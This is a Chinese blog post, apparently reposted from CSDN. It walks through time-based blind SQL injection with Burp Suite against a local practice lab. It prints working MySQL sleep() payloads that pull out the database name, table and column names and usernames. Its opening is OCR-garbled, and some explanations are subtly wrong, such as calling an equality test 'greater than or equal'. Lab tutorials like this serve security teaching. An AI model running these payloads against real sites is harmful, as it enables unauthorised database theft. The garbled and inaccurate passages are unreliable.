使用Burpsuite进行半自动注入 布尔盲注和时间盲注 个人总结

利用前提 ,
页面上没有显示位 , 也没有输出 $ QL 语句执行错误信息 。
正确的 SQL 语句和错误的 SQL 语句返回页面都 0 样 , . 但是加入 s 丨 p ( 5 ) 条件之
后 , 页面的返回速度明显慢了 5 秒 。
优点 .
不需要显示位 , 不需要出错信息 。
速度慢 , . 耗费大量时间 。
在这里插入图片描述
payload: and if(length(database())=8,sleep(10),1) --+

判断当前数据库库名的长度

如果数据库库名长度大于等于8,则mysql查询休眠10秒,否则查询 时间 1

使用Burp的Repeater模块如下所示:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
1到7的时候没有卡顿 这说明页面没有执行sleep(10),而是执行了sleep (1)
当前数据库库名的长度是8。可以可以感受到明显 暂停 说明执行sleep(10)
使用Burp的Repeater模块如下所示:
在这里插入图片描述

获取当前数据库库名

由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。和boolean注入类似,使用substr函数来截取database()的值,一次截取一个,注意和limit的从0开始不同,它是从1开始。

payload :and if(substr(database(),1,1)='a',sleep(5),1)

http://www.localhost.com/exam/sql/exam0.php?id=1%27) and if(substr(database(),1,1)='a',sleep(5),1) -- +

这里同样使用Burp爆破:

在这里插入图片描述
抓包

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

扫描二维码关注公众号,回复: 13827153 查看本文章

获取表名

and if(substring((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r',sleep(10),1)

步骤和上述一样使用burpsuite,我这里直接给出结果

在这里插入图片描述
在这里插入图片描述
emais 表就出来了第二张表
在这里插入图片描述
在这里插入图片描述
referers第二张表名

获取字段名

and if(substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i',sleep(10),1)

在这里插入图片描述

在这里插入图片描述
一如既往字段名还是id 应该有多个字段名

在这里插入图片描述
第二个字段username

获取unsername

and if(substring((select username from security.users limit 0,1),1,1)='D',sleep(10),1) -- 1

步骤还是一样,但是注意爆破中payload1的长度要大至少40,,payload2的字典不仅有26个字母还有10个数字加上’{’’}'这两个字符。 大小

在这里插入图片描述
第一个用户名
Dumb

猜你喜欢

转载自blog.csdn.net/qq_42096378/article/details/123746804